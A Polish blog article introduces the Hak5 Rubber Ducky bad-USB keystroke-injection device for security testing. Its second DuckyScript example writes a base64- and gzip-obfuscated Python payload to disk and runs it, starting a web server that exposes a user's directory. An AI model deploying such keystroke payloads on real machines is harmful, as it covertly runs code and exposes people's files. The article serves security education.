rubber ducky

Rubber Ducky – niebezpieczna „kaczuszka”

Tym tekstem rozpoczynamy cykl artykułów opisujących sprzętowe narzędzia służące do „hackowania” (nie tylko etycznego). Każdy ethical hacker czy red teamowiec korzysta z nich podczas testów bezpieczeństwa aby ocenić w jaki sposób infrastruktura klienta przygotowana jest na obronę przed realnymi zagrożeniami ze strony intruzów.

Rubber Ducky

„Kaczuszka” to jeden ze starszych gadżetów ze stajni firmy Hak5. To z pozoru przypominające pandrive urządzenie zaliczane jest do kategorii tzw. bad USB, czyli narzędzi, które są nam w stanie wyrządzić jakąś szkodę po podłączeniu do portu USB komputera.

rubber duckyJak to działa? Otóż Rubber Ducky, chociaż wygląda jak pamięć flash, w rzeczywistości jest wykrywany przez system operacyjny jako urządzenie HID (Human Interface Device), a konkretnie klawiatura. Po podłączeniu do komputera zaczyna wysyłać zaprogramowane wcześniej ciągi znaków, poleceń i skrótów klawiaturowych. Efekt jest zatem taki, jakby osoba, która podłącza urządzenie do swojego komputera pozwoliła intruzowi skorzystać z własnej klawiatury.

Programowanie

Programowanie odbywa się poprzez wgranie na umieszczoną w urządzeniu kartę pamięci odpowiedniego skryptu, przekompilowanego wcześniej na postać binarną, rozumianą przez wbudowany kontroler. Przykładowy skrypt może wyglądać tak:

DELAY 1000
ALT F2
DELAY 1000
STRING gedit
DELAY 1000
STRING hello 
DELAY 1000
STRING world!!! :)
ENTER
DELAY 1000
STRING you 
DELAY 1000
STRING are 
DELAY 1000
STRING hacked

Powyższy skrypt przygotowany został dla środowiska Gnome w systemach Linux.  Po przekonwertowaniu na postać binarną i wgraniu na urządzenie spowoduje on po podłączeniu uruchomienie edytora tekstu 'gedit’ (skrót klawiszowy ALT F2 wywołuje okno poleceń), a następnie wpisanie w nim tekstu:

hello world!!! :)
you are hacked

Parametr DELAY w skrypcie oznacza czas w milisekundach, jaki ma upłynąć przed wprowadzeniem kolejnych znaków. W powyższym przykładzie sprawi on wrażenie, że tekst jest wpisywany przez człowieka. W praktyce jednak wykorzystuje się go w celu odczekania 1-2 sek. aż np. otworzy się okno, w którym wprowadzone mają być dalsze polecenia.

Naprawdę „bad”

Oczywiście przykład z wyświetlaniem tekstu w edytorze posłużyć może głównie do celów prezentacyjnych. W rzeczywistości intruzi dysponują całym arsenałem gotowych skryptów na różne platformy systemowe. Przyjrzyjmy się np. takiemu skryptowi:

CTRL-ALT t
DELAY 200
ENTER
STRING  echo H4sIAODiZl4C/12OywrCMBBF9/mKQMGmC9u94N5lwe5LH2MTzIvJRIhfbyS2C2d1GS7nXGW8Q+IuMFVSSEc0UZPy6BYIQdmNsRUe3KdREnnRXBjP50K7yFWhqDvpDHTPOE9dH2etlrdNdbOXMpbAiNonks7ys+H3bNFwG4b+DvgC5PyU66zKklECQtFhtOOk9a77m9T2JQqacAO6/sY1bcgPEsVefRmFeNA+9RpNLPcAAAA= | base64 --decode | gzip -d > kaczuszka.py
ENTER
STRING python kaczuszka.py

W efekcie jego działania otwarte zostanie okno terminala (w systemach Linux CTRL-ALT-t), a w nim poprzez polecenie „echo” zapisana do pliku „kaczuszka.py” zawartość zakodowanego z pomocą base64 i skompresowanego gzipem ciągu znaków.  Następnie plik „kaczuszka.py” zostanie uruchomiony w interpreterze pythona. Co znajdzie się w uruchamianym skrypcie? Spójrzmy:

import os
import sys
import multiprocessing

def py_http():
os.chdir('/home/kuba/Publiczny')
os.system('python -m SimpleHTTPServer &')

#def_here

def run_all():
multiprocessing.Process(target=py_http).start()
#run_here

run_all()

Myślę, że nawet osoby nie znające pythona są w stanie zinterpretować działanie skryptu – najpierw nastąpi zmiana bieżącego katalogu na „/home/kuba/Publiczny”, a następnie uruchomiona zostanie usługa SimpleHTTPServer, która zawartość tego katalogu udostępni w formie serwisu www na domyślnym porcie 8000. Poniżej efekt otwarcia przeglądarką adresu http://localhost:8000

rubber ducky skrypt

Oczywiście powyższa zawartość katalogu ma charakter demonstracyjny, ale jeżeli skrypt zostanie uruchomiony przez użytkownika z odpowiednimi uprawnieniami, to równie dobrze może on serwować zawartość głównego katalogu /.

Jak widać, zdziałać można naprawdę sporo złego. Ograniczeniem jest jedynie znajomość środowiska, w którym podłączona zostanie złośliwa „kaczuszka”.

Koszt tego narzędzia w oficjalnym sklepie to około 50$ (nie licząc przesyłki do Polski i opłat celnych). W kolejnych tekstach opiszemy jednak inne narzędzia o podobnej funkcjonalności, których cena jest już bardziej przyjazna.

Ten artykuł jest częścią cyklu pt. Arsenał (Ethical) Hackera. Jeżeli zainteresowała Cię jego tematyka i oczekujesz kolejnych opisów narzędzi do hackowania, udostępnij go i zasubskrybuj nasz newsletter lub profile społecznościowe.


Zostaw e-mail aby otrzymać powiadomienia o nowościach oraz dostęp do wszystkich bonusowych materiałów przygotowanych wyłącznie dla subskrybentów.

Leave a Reply

Twój adres e-mail nie zostanie opublikowany.

Witryna wykorzystuje Akismet, aby ograniczyć spam. Dowiedz się więcej jak przetwarzane są dane komentarzy.